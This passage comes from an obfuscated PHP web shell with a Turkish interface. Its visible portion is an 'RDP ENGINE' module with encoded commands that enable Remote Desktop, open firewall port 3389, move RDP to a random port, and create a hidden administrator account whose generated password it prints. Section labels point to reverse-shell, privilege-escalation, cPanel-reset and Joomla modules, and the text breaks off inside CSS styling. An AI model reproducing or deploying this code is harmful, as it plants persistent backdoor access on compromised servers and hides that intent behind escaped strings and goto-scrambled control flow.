"\75\x3d\75\x20\360\x9f\x94\223\40\122\104\x50\x20\105\x54\x4b\xc4\260\x4e\114\x45\xc5\236\124\xc4\260\122\x20\x3d\75\75\12\12"; if (isWindows()) { $cmds = array("\162\145\x67\x20\141\x64\144\40\42\x48\x4b\114\x4d\x5c\x53\x59\123\x54\x45\115\134\103\x75\x72\x72\x65\156\x74\x43\157\x6e\164\162\x6f\x6c\x53\145\164\x5c\x43\x6f\156\164\162\157\154\134\x54\145\x72\x6d\151\156\141\x6c\40\x53\145\162\x76\145\x72\x22\40\57\x76\40\x66\104\145\x6e\171\124\x53\x43\157\156\156\x65\x63\x74\151\x6f\x6e\x73\40\x2f\x74\x20\122\x45\107\137\x44\127\117\122\x44\x20\x2f\144\40\x30\40\57\146", "\x72\x65\x67\40\141\144\x64\x20\42\110\x4b\114\115\x5c\123\131\x53\x54\x45\x4d\x5c\x43\x75\162\162\145\156\x74\103\157\x6e\x74\162\157\154\123\145\164\x5c\x43\x6f\156\x74\162\x6f\x6c\134\124\x65\x72\x6d\x69\156\x61\x6c\40\x53\x65\162\x76\x65\x72\42\x20\57\x76\40\101\x6c\154\x6f\x77\x52\x65\x6d\x6f\x74\x65\x52\120\x43\40\x2f\x74\40\122\105\x47\x5f\104\x57\x4f\122\x44\40\x2f\144\x20\x31\40\x2f\x66", "\x6e\145\x74\x73\x68\40\x61\144\166\x66\x69\162\x65\167\141\154\154\40\146\151\x72\x65\167\x61\x6c\x6c\x20\x73\145\164\40\162\165\154\145\x20\147\162\157\165\x70\x3d\x22\162\145\x6d\157\164\x65\x20\144\x65\163\x6b\164\157\x70\x22\40\x6e\145\x77\x20\x65\x6e\x61\x62\154\x65\x3d\x59\145\163", "\156\x65\x74\163\x68\x20\141\x64\166\x66\x69\x72\145\167\141\x6c\x6c\x20\146\x69\162\x65\x77\x61\x6c\154\x20\x61\144\144\40\162\165\154\x65\40\x6e\x61\x6d\x65\x3d\42\x52\104\x50\40\63\63\70\x39\x22\x20\144\x69\x72\x3d\151\x6e\x20\x61\x63\x74\151\x6f\x6e\x3d\x61\x6c\x6c\157\167\x20\x70\162\157\164\157\x63\157\154\75\124\x43\x50\40\x6c\157\x63\141\x6c\160\157\x72\x74\75\63\x33\x38\x39", "\x73\x63\x20\x63\157\x6e\146\x69\x67\40\124\145\162\x6d\123\145\x72\x76\151\143\x65\40\163\164\x61\162\x74\75\x20\x61\165\x74\x6f", "\x73\143\40\x73\x74\141\162\164\40\124\145\162\155\x53\145\x72\x76\151\143\x65", "\x72\x65\147\x20\x61\144\144\x20\x22\110\x4b\114\x4d\x5c\x53\x4f\106\124\x57\101\x52\x45\x5c\x50\157\154\x69\143\x69\145\163\x5c\115\x69\x63\162\x6f\x73\x6f\146\x74\134\x57\x69\156\144\x6f\x77\163\40\116\x54\134\124\x65\162\155\x69\x6e\141\154\40\123\x65\x72\166\x69\143\145\x73\x22\40\57\166\x20\x66\101\154\x6c\x6f\x77\125\156\163\x6f\x6c\151\143\x69\164\145\144\40\57\x74\x20\x52\x45\107\137\104\127\117\x52\x44\x20\57\x64\40\61\40\57\x66", "\x72\145\147\x20\141\x64\144\40\x22\x48\113\x4c\115\134\123\x4f\x46\124\127\x41\x52\105\134\120\157\154\151\x63\x69\145\x73\134\115\151\143\162\x6f\163\157\146\164\134\x57\x69\156\x64\157\x77\163\x20\x4e\x54\x5c\x54\145\x72\x6d\151\156\141\154\x20\123\x65\x72\x76\x69\x63\145\163\42\x20\x2f\x76\x20\x66\x44\145\156\x79\124\x53\x43\157\x6e\156\145\143\164\151\157\x6e\163\40\57\164\40\x52\x45\107\137\x44\x57\117\122\x44\40\x2f\144\40\x30\40\57\146"); foreach ($cmds as $cmd) { $result = rdpCmd($cmd); $rdp_output .= "\76\x20" . $cmd . "\12"; if (strpos($result, "\x62\x61\xc5\237\x61\162\304\261\x79\x6c\141") !== false || strpos($result, "\163\x75\143\143\x65\x73\163") !== false || empty($result)) { $rdp_output .= "\342\234\205\40\x42\101\xc5\236\x41\122\111\114\x49\xa\xa"; } else { $rdp_output .= "\342\x84\xb9\357\xb8\217\x20" . trim($result) . "\xa\12"; } } $rdp_output .= "\342\x9c\205\x20\x52\x44\120\x20\145\x74\153\151\156\154\145\305\x9f\164\151\162\x69\154\x64\151\x21\12"; $rdp_output .= "\360\x9f\x93\x8c\40\120\x6f\x72\164\x3a\x20\63\63\70\71\xa"; $rdp_output .= "\xf0\237\224\221\40\x42\141\xc4\x9f\x6c\x61\x6e\155\x61\x6b\40\x69\303\xa7\x69\156\x3a\x20\x6d\x73\164\163\x63\40\57\x76\72\x49\120\137\101\x44\x52\x45\x53\111\12"; $ip_info = rdpCmd("\x69\x70\143\157\x6e\x66\151\x67\40\62\76\x6e\x75\x6c\x20\174\x20\146\151\x6e\x64\163\164\x72\x20\x22\x49\x50\166\x34\42"); $rdp_output .= "\xa\360\237\x93\x8c\x20\x49\x50\40\x41\x64\x72\145\x73\x6c\x65\162\151\x3a\12" . $ip_info . "\xa"; } else { $rdp_output .= "\342\x9a\xa0\x20\114\151\156\165\170\47\164\141\40\x52\104\120\x20\x65\x74\x6b\x69\156\154\145\305\237\x74\x69\162\x6d\x65\72\xa\xa"; $rdp_output .= "\x20\40\163\165\144\157\x20\x73\x79\163\164\145\x6d\143\164\154\40\145\x6e\x61\x62\154\145\40\170\162\x64\160\12"; $rdp_output .= "\40\40\163\x75\144\x6f\40\x73\x79\163\164\x65\155\x63\164\x6c\x20\x73\164\x61\x72\x74\40\170\162\144\160\12"; $rdp_output .= "\x20\x20\x73\x75\x64\x6f\x20\x75\146\167\x20\x61\x6c\x6c\157\167\40\x33\63\70\x39\xa"; } break; case "\144\x69\163\x61\142\x6c\x65": $rdp_output .= "\x3d\75\75\40\360\x9f\x94\222\x20\x52\x44\120\x20\113\x41\x50\101\x54\40\x3d\75\75\xa\xa"; if (isWindows()) { $cmds = array("\162\x65\x67\x20\x61\x64\x64\x20\42\110\x4b\x4c\x4d\134\123\x59\123\124\105\x4d\x5c\103\x75\162\x72\145\156\x74\103\157\x6e\164\162\157\154\x53\x65\x74\x5c\103\157\156\x74\162\x6f\154\134\124\x65\162\x6d\x69\156\x61\154\x20\x53\x65\162\x76\145\162\42\40\x2f\166\x20\x66\x44\x65\x6e\171\x54\123\103\157\x6e\x6e\x65\x63\164\151\x6f\156\163\40\x2f\164\40\122\x45\x47\137\x44\x57\x4f\122\x44\40\57\x64\x20\x31\40\57\x66", "\156\x65\x74\163\150\x20\141\144\x76\146\151\162\x65\x77\141\x6c\154\x20\x66\x69\162\145\167\141\x6c\x6c\40\x73\x65\x74\40\162\x75\x6c\145\40\x67\162\157\x75\x70\x3d\42\162\x65\155\x6f\x74\145\40\x64\x65\163\153\x74\x6f\x70\x22\40\x6e\145\x77\x20\145\x6e\141\x62\x6c\145\x3d\x4e\157", "\x73\x63\40\163\x74\x6f\x70\x20\x54\145\162\x6d\x53\145\x72\166\x69\x63\x65", "\x73\x63\40\x63\157\156\x66\151\147\x20\x54\145\x72\x6d\123\145\162\166\x69\x63\145\40\163\x74\x61\162\x74\75\x20\x64\151\163\x61\x62\x6c\x65\144"); foreach ($cmds as $cmd) { $result = rdpCmd($cmd); $rdp_output .= "\76\x20" . $cmd . "\xa"; if (strpos($result, "\x62\x61\305\237\141\162\304\261\x79\154\x61") !== false || strpos($result, "\163\165\x63\x63\x65\x73\x73") !== false || empty($result)) { $rdp_output .= "\xe2\x9c\x85\40\x42\x41\305\236\101\x52\111\x4c\111\xa\xa"; } else { $rdp_output .= "\342\x84\271\xef\270\217\40" . trim($result) . "\12\12"; } } $rdp_output .= "\342\x9c\205\40\x52\104\120\x20\x6b\141\x70\141\x74\xc4\xb1\x6c\144\304\xb1\41\xa"; } else { $rdp_output .= "\xe2\x9a\240\x20\x4c\151\x6e\x75\170\x27\x74\141\40\x52\104\x50\x20\153\141\x70\x61\164\155\x61\72\xa\12"; $rdp_output .= "\x20\x20\163\165\x64\157\x20\163\x79\163\164\145\155\143\x74\x6c\x20\x73\x74\157\x70\x20\x78\162\144\x70\xa"; $rdp_output .= "\x20\x20\163\165\x64\157\40\x73\171\x73\164\x65\x6d\143\164\154\x20\x64\x69\x73\x61\142\x6c\145\x20\170\x72\x64\x70\12"; } break; case "\141\x64\144\x75\163\x65\162": $rdp_output .= "\x3d\x3d\x3d\40\xf0\x9f\221\xa4\x20\x52\104\x50\40\113\125\114\x4c\x41\x4e\111\103\x49\40\x45\x4b\x4c\105\40\x3d\75\75\xa\12"; if (isWindows()) { $username = "\162\144\160\x75\x73\x65\x72\x5f" . bin2hex(random_bytes(2)); $password = "\x52\144\160\100" . bin2hex(random_bytes(4)) . "\x21"; $cmds = array("\156\x65\164\40\165\163\x65\162\x20" . $username . "\40" . $password . "\x20\x2f\x61\x64\144", "\x6e\x65\164\40\154\x6f\143\x61\x6c\x67\162\x6f\x75\160\x20\42\x52\145\155\x6f\x74\145\40\104\145\163\153\164\157\x70\x20\x55\x73\x65\x72\x73\x22\40" . $username . "\x20\57\x61\144\x64", "\x6e\x65\x74\x20\x6c\157\143\x61\x6c\147\x72\157\x75\x70\40\141\144\155\x69\x6e\151\163\164\x72\141\164\157\x72\163\40" . $username . "\40\57\x61\144\x64", "\167\x6d\x69\x63\40\165\163\x65\x72\141\x63\143\157\165\x6e\x74\x20\x77\150\145\162\145\x20\156\141\x6d\x65\x3d\42" . $username . "\x22\x20\x73\145\x74\x20\160\x61\163\x73\x77\157\x72\x64\145\170\160\x69\162\x65\x73\x3d\x66\141\x6c\163\x65", "\156\145\x74\40\x75\x73\145\162\40" . $username . "\x20\57\x61\143\x74\x69\x76\145\72\x79\145\163"); foreach ($cmds as $cmd) { $result = rdpCmd($cmd); $rdp_output .= "\76\x20" . $cmd . "\xa"; if (strpos($result, "\x62\141\xc5\237\141\162\304\261\171\154\x61") !== false || strpos($result, "\x73\165\143\143\145\x73\163") !== false || empty($result)) { $rdp_output .= "\342\x9c\x85\x20\x42\x41\305\x9e\101\x52\x49\x4c\x49\12\xa"; } else { $rdp_output .= "\342\204\271\xef\270\217\x20" . trim($result) . "\12\12"; } } $rdp_output .= "\xe2\234\205\x20\122\x44\x50\40\153\x75\154\x6c\141\x6e\xc4\xb1\x63\304\xb1\x73\304\261\40\x6f\154\165\xc5\x9f\164\x75\x72\x75\154\x64\165\41\12"; $rdp_output .= "\342\x94\x80\342\224\200\xe2\x94\x80\xe2\224\x80\342\x94\200\342\x94\200\342\224\200\xe2\x94\200\xe2\x94\x80\342\x94\200\xe2\x94\x80\342\x94\200\xe2\x94\x80\342\224\200\342\224\x80\xe2\x94\200\xe2\x94\x80\xe2\224\x80\342\x94\200\342\224\x80\xe2\224\200\342\224\200\xe2\224\x80\342\224\x80\xe2\224\x80\342\x94\x80\342\224\200\xe2\x94\200\342\x94\x80\xe2\224\x80\342\x94\200\xe2\224\x80\xe2\x94\200\342\x94\x80\xe2\224\x80\xe2\x94\200\xe2\224\x80\xe2\224\200\342\224\200\342\224\200\xe2\224\x80\342\224\x80\342\x94\x80\342\x94\200\342\224\x80\12"; $rdp_output .= "\360\x9f\x91\244\40\113\165\x6c\154\141\x6e\304\xb1\143\304\261\x3a\x20{$username}\xa"; $rdp_output .= "\360\237\x94\221\40\xc5\x9e\x69\146\x72\145\x3a\x20{$password}\12"; $rdp_output .= "\360\237\221\245\x20\x47\162\x75\160\72\40\122\145\155\x6f\x74\145\40\104\145\x73\x6b\x74\157\160\x20\125\x73\145\162\163\x2c\40\x41\x64\155\151\x6e\151\x73\164\162\x61\164\x6f\x72\163\12"; $rdp_output .= "\xe2\x94\200\xe2\224\x80\342\224\x80\xe2\x94\x80\xe2\x94\x80\342\x94\200\342\x94\200\342\224\200\342\224\200\xe2\x94\200\xe2\x94\x80\342\224\x80\342\x94\200\xe2\x94\200\xe2\224\x80\342\224\200\342\x94\x80\342\224\200\342\x94\x80\342\x94\x80\342\224\200\342\x94\x80\342\x94\x80\342\224\x80\xe2\x94\x80\342\224\200\342\x94\200\xe2\x94\200\342\x94\200\342\x94\200\342\x94\200\342\x94\200\342\x94\x80\342\x94\200\342\x94\200\342\x94\200\342\224\200\xe2\x94\200\xe2\x94\x80\342\x94\200\342\224\x80\342\224\x80\342\x94\200\xe2\x94\x80\xe2\x94\x80\12"; } else { $rdp_output .= "\342\232\xa0\40\x4c\x69\x6e\165\x78\47\x74\141\40\x52\x44\x50\40\153\165\x6c\154\141\156\xc4\261\143\304\261\40\145\153\x6c\145\155\145\72\xa\xa"; $rdp_output .= "\x20\40\x73\x75\x64\x6f\x20\141\144\144\165\163\x65\162\40\x72\144\160\165\x73\145\x72\12"; $rdp_output .= "\x20\40\163\x75\144\x6f\40\x75\x73\145\162\155\x6f\144\x20\55\141\107\40\x73\x75\144\x6f\x20\x72\144\160\x75\x73\145\162\xa"; } break; case "\143\150\x61\x6e\147\145\160\157\162\164": $rdp_output .= "\x3d\75\x3d\40\360\x9f\224\204\40\x52\104\x50\40\120\117\x52\124\x20\104\x45\xc4\236\304\260\305\236\124\xc4\260\122\x20\x3d\x3d\75\xa\12"; if (isWindows()) { $new_port = rand(50000, 60000); $cmds = array("\162\x65\x67\40\141\144\x64\40\42\110\113\x4c\115\x5c\x53\131\123\124\x45\115\x5c\x43\x75\162\162\145\156\164\x43\157\156\164\x72\x6f\154\123\145\164\x5c\103\157\x6e\164\x72\157\x6c\x5c\x54\145\162\155\151\x6e\x61\x6c\40\x53\145\x72\x76\145\162\x5c\x57\151\156\x53\164\x61\x74\x69\x6f\x6e\163\134\122\104\120\x2d\124\x63\x70\42\40\57\x76\40\x50\157\162\164\x4e\165\155\x62\145\162\40\57\164\x20\x52\105\x47\x5f\x44\x57\117\x52\x44\x20\x2f\x64\40" . $new_port . "\x20\x2f\x66", "\x6e\145\164\163\x68\x20\141\x64\166\x66\151\162\x65\167\141\154\x6c\40\146\x69\x72\145\x77\x61\154\154\x20\x64\145\x6c\x65\164\x65\40\162\165\154\145\40\x6e\141\155\x65\75\42\x52\x44\x50\40\x33\63\70\71\x22", "\156\x65\164\x73\150\x20\141\x64\x76\x66\151\162\x65\x77\x61\154\x6c\40\146\151\162\145\167\141\154\x6c\x20\141\x64\x64\40\x72\x75\x6c\145\40\x6e\141\x6d\x65\75\x22\x52\x44\120\x20" . $new_port . "\x22\40\144\x69\162\x3d\x69\156\x20\141\143\164\151\157\156\75\x61\154\x6c\x6f\x77\40\160\x72\x6f\x74\x6f\143\x6f\154\75\x54\x43\120\x20\154\x6f\143\141\x6c\x70\157\162\164\x3d" . $new_port); foreach ($cmds as $cmd) { $result = rdpCmd($cmd); $rdp_output .= "\x3e\40" . $cmd . "\xa"; if (strpos($result, "\x62\141\xc5\x9f\141\162\304\xb1\171\x6c\141") !== false || strpos($result, "\x73\x75\143\x63\x65\x73\x73") !== false || empty($result)) { $rdp_output .= "\342\234\205\40\x42\101\xc5\236\101\x52\x49\x4c\111\xa\12"; } else { $rdp_output .= "\xe2\x84\271\xef\270\217\x20" . trim($result) . "\xa\xa"; } } $rdp_output .= "\342\x9c\x85\40\122\104\x50\40\160\157\x72\x74\165\40\144\145\xc4\237\x69\xc5\x9f\164\x69\x72\x69\154\x64\x69\x21\12"; $rdp_output .= "\xf0\x9f\x93\x8c\x20\131\x65\x6e\151\x20\120\x6f\162\x74\72\40{$new_port}\12"; $rdp_output .= "\342\232\240\x20\102\x69\x6c\147\151\163\x61\171\x61\x72\304\261\40\171\x65\156\151\144\x65\156\40\142\141\xc5\x9f\154\x61\164\155\x61\x6e\x20\147\x65\x72\145\153\x65\x62\151\x6c\151\162\x21\xa"; } else { $rdp_output .= "\342\232\240\40\x4c\151\156\x75\x78\47\164\141\40\x52\104\x50\x20\x70\157\162\x74\x20\144\145\xc4\x9f\151\xc5\237\164\151\x72\155\145\72\12\xa"; $rdp_output .= "\40\40\163\x75\144\157\x20\156\x61\156\157\40\57\x65\164\x63\57\x78\x72\x64\160\x2f\170\162\144\x70\x2e\x69\156\x69\12"; $rdp_output .= "\40\40\x73\165\x64\x6f\x20\163\171\163\x74\x65\x6d\143\164\154\x20\162\145\163\x74\141\162\x74\40\170\162\144\160\12"; } break; } $rdp_output .= "\12\342\224\200\xe2\x94\200\342\x94\200\342\224\x80\342\224\200\342\224\x80\342\224\x80\342\x94\200\xe2\x94\200\xe2\224\200\342\x94\x80\xe2\x94\x80\xe2\x94\x80\342\x94\x80\xe2\224\x80\342\224\x80\xe2\x94\200\xe2\x94\x80\xe2\x94\200\342\x94\x80\xe2\x94\200\342\x94\200\342\224\200\xe2\x94\200\342\224\200\xe2\x94\200\342\x94\200\xe2\224\x80\xe2\x94\200\342\x94\x80\xe2\x94\x80\xe2\224\200\xe2\224\200\342\x94\200\342\224\x80\342\224\200\xe2\224\200\342\224\x80\342\224\200\342\224\200\342\x94\x80\342\x94\200\xe2\224\200\342\224\x80\342\224\x80\xe2\224\200\342\x94\200\xe2\224\x80\342\x94\x80\xe2\x94\x80\342\x94\x80\xe2\224\200\xe2\x94\200\342\224\200\342\x94\200\xe2\x94\200\342\x94\200\342\224\x80\342\224\x80\342\224\x80\342\x94\200\xa"; $rdp_output .= "\xe2\234\x85\x20\122\x44\x50\x20\x69\xc5\x9f\x6c\x65\155\151\40\164\141\x6d\141\155\154\x61\x6e\x64\304\261\41\x20\132\141\155\141\156\x3a\x20" . date("\131\55\x6d\55\x64\40\110\x3a\151\72\x73") . "\xa"; $rdp_output .= "\x52\104\120\40\105\x4e\x47\111\116\105\40\166\x32\x2e\x30\xa"; ?> <!-- ===== RDP SONUÇ ===== --> <div class="neon-rdp-terminal"> <div class="neon-rdp-terminal-header"> <div style="display:flex;align-items:center;gap:10px;"> <span style="color:#b300ff;font-size:14px;"> <i class="fas fa-desktop"></i> </span> <span style="color:#b300ff;font-size:12px;font-weight:bold;"> RDP <span style="color:#b300ff;">v2.0</span> - Sonuç </span> </div> <span style="color:#5a2a7a;font-size:10px;"> <i class="fas fa-clock"></i> <?php echo date("\110\x3a\x69\x3a\x73"); ?> <span style="margin-left:10px;background:linear-gradient(135deg,#b300ff33,#8a2be222);padding:2px 10px;border-radius:10px;border:1px solid #b300ff44;"> <i class="fas fa-desktop" style="color:#b300ff;"></i> RDP </span> </span> </div> <div class="neon-rdp-terminal-body"> <pre style="white-space:pre-wrap;font-size:11px;line-height:1.8;color:#d4a0ff;margin:0;font-family:'Courier New',monospace;"><?php echo htmlspecialchars($rdp_output); ?> </pre> </div> </div> <?php } ?> <!-- ===== RDP IP BİLGİLERİ ===== --> <div style="margin-top:12px;display:grid;grid-template-columns:1fr 1fr 1fr;gap:10px;"> <div class="neon-rdp-status" style="padding:8px;"> <div style="text-align:center;width:100%;"> <div style="font-size:7px;color:#5a2a7a;text-transform:uppercase;">IP Adresleri</div> <div style="font-size:10px;color:#d4a0ff;margin-top:2px;"> <?php if (isWindows()) { $ips = shell_exec("\151\160\143\157\x6e\146\151\147\x20\62\x3e\x6e\x75\x6c\40\174\x20\x66\x69\156\x64\x73\x74\x72\x20\42\111\120\166\x34\x22\40\174\40\x66\x69\156\144\163\x74\162\x20\55\166\x20\x22\x31\62\67\56\60\56\x30\56\x31\42"); echo nl2br(trim($ips)); } else { $ips = shell_exec("\150\157\163\164\156\x61\x6d\145\40\x2d\111\x20\x32\x3e\46\61"); echo trim($ips); } ?> </div> </div> </div> <div class="neon-rdp-status" style="padding:8px;"> <div style="text-align:center;width:100%;"> <div style="font-size:7px;color:#5a2a7a;text-transform:uppercase;">RDP Komutu</div> <div style="font-size:10px;color:#d4a0ff;margin-top:2px;word-break:break-all;"> <?php echo isWindows() ? "\155\163\164\163\x63\40\x2f\166\72\111\120\x3a\x33\x33\70\71" : "\x78\x66\x72\145\x65\162\144\160\x20\57\166\x3a\111\x50\x3a\63\x33\x38\71"; ?> </div> </div> </div> <div class="neon-rdp-status" style="padding:8px;"> <div style="text-align:center;width:100%;"> <div style="font-size:7px;color:#5a2a7a;text-transform:uppercase;">Sistem</div> <div style="font-size:10px;color:#d4a0ff;margin-top:2px;"> <?php echo isWindows() ? "\360\x9f\xaa\237\x20\127\x69\x6e\x64\157\x77\x73" : "\360\x9f\220\xa7\x20\x4c\151\156\x75\170"; ?> <span style="color:#5a2a7a;font-size:8px;display:block;"> <?php echo php_uname("\163"); ?> </span> </div> </div> </div> </div> <!-- ===== RDP HIZLI KOMUTLAR ===== --> <div style="margin-top:12px;padding:10px;background:linear-gradient(135deg,#0a0015,#12001a);border-radius:8px;border:1px solid #b300ff33;"> <div style="font-size:8px;color:#5a2a7a;text-transform:uppercase;letter-spacing:1px;margin-bottom:6px;"> <i class="fas fa-terminal" style="color:#b300ff;"></i> Hızlı Komutlar </div> <div style="display:grid;grid-template-columns:1fr 1fr 1fr;gap:6px;font-size:9px;color:#7a3aaa;font-family:'Courier New',monospace;"> <div> <span style="color:#b300ff;">#</span> RDP Aç<br> <span style="color:#5a2a7a;">netsh advfirewall firewall set rule group="remote desktop" new enable=Yes</span> </div> <div> <span style="color:#b300ff;">#</span> RDP Kapat<br> <span style="color:#5a2a7a;">netsh advfirewall firewall set rule group="remote desktop" new enable=No</span> </div> <div> <span style="color:#b300ff;">#</span> Port Değiştir<br> <span style="color:#5a2a7a;">reg add "HKLM\...\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389</span> </div> </div> </div> <!-- ===== UYARI ===== --> <div style="margin-top:12px;padding:10px;background:linear-gradient(135deg,#1a000a,#0a0015);border-radius:8px;border:1px solid #ff005544;text-align:center;"> <span style="color:#b300ff;font-size:9px;"> <i class="fas fa-shield-alt" style="color:#b300ff;"></i> <strong style="color:#b300ff;">RDP YÖNETİCİSİ:</strong> <span style="color:#5a2a7a;">Uzaktan masaüstü bağlantılarını yönetir. Sadece yetkili kullanım için!</span> <span style="color:#3a1a4a;font-size:8px;display:block;margin-top:4px;"> ⚡RDP ENGINE v2.0 ⚡ </span> </span> </div> </div> <?php } goto OVsQa; kz5wY: ?> <!-- ============================================================ --> <!-- ===== SHELL TARAYICI - ULTRA EDITION (FIXED) ===== --> <!-- ============================================================ --> <?php goto zEceQ; hjZ4l: ?> <!-- ============================================================ --> <!-- ===== REVERSE ===== --> <!-- ============================================================ --> <?php goto NUjbi; mU9tR: ?> <!-- ============================================================ --> <!-- ===== CPANEL RESET ===== --> <!-- ============================================================ --> <?php goto f4RYw; N5Fvl: ?> | <i class="fas fa-clock"></i> <?php goto olEnh; dWlRk: echo $action == "\x70\x72\151\166\x65\x73\143" ? "\141\143\164\151\x76\x65" : ''; goto tauGo; U1Zo1: echo $action == "\163\x63\141\x6e\156\145\x72" ? "\141\143\164\151\x76\145" : ''; goto F5COx; g1iSc: ?> <!-- ============================================================ --> <!-- ===== FILES - KRALL NEON MOR ULTRA EFEKT V4 ===== --> <!-- ============================================================ --> <?php goto OixE5; dh1mn: function isLinux() { return !isWindows(); } goto BivAp; IEZrO: ob_end_flush(); goto PaZb9; YLHVT: if ($action == "\x6a\x6f\157\x6d\x6c\x61") { ?> <style> /* ===== PARTİKÜL ARKA PLAN ===== */ .joomla-particle-container { position: relative; overflow: hidden; border-radius: 12px; background: radial-gradient(ellipse at center, rgba(20, 0, 40, 0.95), rgba(5, 0, 10, 0.98)); border: 1px solid rgba(179, 0, 255, 0.2); padding: 25px 20px; margin-bottom: 12px; } .joomla-particle-canvas { position: absolute; top: 0; left: 0; width: 100%; height: 100%; pointer-events: none; z-index: 0; } .joomla-particle-content { position: relative; z-index: 1; } /* ===== BAŞLIK ===== */ .joomla-title { text-align: center; margin-bottom: 20px; } .joomla-title h4 { color: #b300ff; font-size: 18px; margin: 0; text-shadow: 0 0 40px rgba(179, 0, 255, 0.3); letter-spacing: 2px; font-family: 'JetBrains Mono', monospace; } .joomla-title span { display: block; font-size: 10px; color: #6a4a8a; font-weight: normal; letter-spacing: 3px; margin-top: 4px; font-family: 'JetBrains Mono', monospace; } /* ===== KARTLAR ===== */ .joomla-card-neon { background: rgba(20, 0, 40, 0.8); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 12px; padding: 16px 18px; margin-bottom: 10px; backdrop-filter: blur(10px); box-shadow: 0 0 30px rgba(179, 0, 255, 0.05); transition: all 0.4s; } .joomla-card-neon:hover { border-color: rgba(179, 0, 255, 0.4); box-shadow: 0 0 50px rgba(179, 0, 255, 0.1); } .joomla-card-neon h5 { color: #b300ff; margin: 0 0 12px 0; font-size: 11px; text-transform: uppercase; letter-spacing: 2px; text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); font-weight: 700; font-family: 'JetBrains Mono', monospace; } /* ===== INPUTLAR ===== */ .joomla-input-neon { display: flex; gap: 8px; margin-bottom: 8px; flex-wrap: wrap; } .joomla-input-neon input, .joomla-input-neon select { flex: 1; padding: 10px 14px; background: rgba(10, 0, 20, 0.7); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 8px; color: #ffffff; font-size: 12px; transition: all 0.4s; font-family: 'JetBrains Mono', monospace; min-width: 120px; } .joomla-input-neon input:focus, .joomla-input-neon select:focus { border-color: #b300ff; box-shadow: 0 0 25px rgba(179, 0, 255, 0.2); outline: none; background: rgba(20, 0, 40, 0.8); } .joomla-input-neon input::placeholder { color: rgba(179, 0, 255, 0.3); } .joomla-input-neon select option { background: #0a001a; color: #ffffff; } .joomla-input-neon button { padding: 6px 14px; background: rgba(179, 0, 255, 0.15); border: 1px solid rgba(179, 0, 255, 0.3); border-radius: 6px; color: #ffffff; cursor: pointer; font-family: 'JetBrains Mono', monospace; font-size: 10px; transition: all 0.3s; white-space: nowrap; } .joomla-input-neon button:hover { background: rgba(179, 0, 255, 0.3); border-color: #b300ff; } /* ===== BUTON GRUBU - ORTALI ===== */ .joomla-btn-center { display: flex; justify-content: center; align-items: center; gap: 10px; flex-wrap: wrap; margin: 14px 0 6px 0; padding: 12px 10px; background: rgba(10, 0, 20, 0.3); border-radius: 12px; border: 1px solid rgba(179, 0, 255, 0.08); } /* ===== NEON MOR BUTONLAR - BEYAZ YAZI ORTALI ===== */ .joomla-btn-master { padding: 10px 24px; border: none; border-radius: 50px; color: #ffffff !important; cursor: pointer; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 1.2px; transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); position: relative; overflow: hidden; font-family: 'JetBrains Mono', monospace; text-shadow: 0 2px 10px rgba(0,0,0,0.3); min-width: 130px; box-shadow: 0 4px 15px rgba(0,0,0,0.3); display: inline-flex; align-items: center; justify-content: center; text-align: center; } /* Işıma Efekti */ .joomla-btn-master::before { content: ''; position: absolute; top: -50%; left: -50%; width: 200%; height: 200%; background: radial-gradient(circle, rgba(255,255,255,0.1) 0%, transparent 60%); transform: scale(0); transition: transform 0.6s; } .joomla-btn-master:hover::before { transform: scale(1); } .joomla-btn-master::after { content: ''; position: absolute; top: -2px; left: -2px; right: -2px; bottom: -2px; background: linear-gradient(45deg, transparent, rgba(255,255,255,0.08), transparent); border-radius: 50px; z-index: -1; opacity: 0; transition: opacity 0.4s; } .joomla-btn-master:hover::after { opacity: 1; } .joomla-btn-master:hover { transform: translateY(-3px) scale(1.03); box-shadow: 0 8px 35px rgba(179, 0, 255, 0.4); color: #ffffff !important; } .joomla-btn-master:active { transform: scale(0.95); } .joomla-btn-master .icon { margin-right: 6px; font-size: 13px; } /* ===== RENKLER - TÜMÜ BEYAZ YAZI ===== */ /* Ana Neon Mor */ .joomla-btn-master.primary { background: linear-gradient(135deg, #7b00d4, #b300ff, #d400ff); background-size: 200% 200%; animation: gradientMove 3s ease infinite; box-shadow: 0 0 30px rgba(179, 0, 255, 0.3); color: #ffffff !important; } .joomla-btn-master.primary:hover { box-shadow: 0 0 50px rgba(179, 0, 255, 0.6); color: #ffffff !important; } /* Başarı Neon Yeşil */ .joomla-btn-master.success { background: linear-gradient(135deg, #00aa55, #00dd77, #44ffaa); background-size: 200% 200%; animation: gradientMove 4s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(0, 255, 136, 0.25); } .joomla-btn-master.success:hover { box-shadow: 0 0 50px rgba(0, 255, 136, 0.5); color: #ffffff !important; } /* Bilgi Neon Mavi */ .joomla-btn-master.info { background: linear-gradient(135deg, #0055dd, #0088ff, #33bbff); background-size: 200% 200%; animation: gradientMove 3.5s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(0, 153, 255, 0.25); } .joomla-btn-master.info:hover { box-shadow: 0 0 50px rgba(0, 153, 255, 0.5); color: #ffffff !important; } /* Tehlike Neon Kırmızı */ .joomla-btn-master.danger { background: linear-gradient(135deg, #bb0022, #ff0044, #ff3377); background-size: 200% 200%; animation: gradientMove 3s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(255, 0, 68, 0.25); } .joomla-btn-master.danger:hover { box-shadow: 0 0 50px rgba(255, 0, 68, 0.5); color: #ffffff !important; } /* Uyarı Neon Turuncu */ .joomla-btn-master.warning { background: linear-gradient(135deg, #dd5500, #ff7700, #ffaa33); background-size: 200% 200%; animation: gradientMove 4s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(255, 136, 0, 0.25); } .joomla-btn-master.warning:hover { box-shadow: 0 0 50px rgba(255, 136, 0, 0.5); color: #ffffff !important; } /* Pembe Neon */ .joomla-btn-master.pink { background: linear-gradient(135deg, #bb0055, #ff0088, #ff44aa); background-size: 200% 200%; animation: gradientMove 3s ease infinite; color: #ffffff !important; box-shadow: 0 0 30px rgba(255, 0, 136, 0.25); } .joomla-btn-master.pink:hover { box-shadow: 0 0 50px rgba(255, 0, 136, 0.5); color: #ffffff !important; } /* Mor Koyu */ .joomla-btn-master.purple { background: linear-gradient(135deg, #3a006a, #6a00bb, 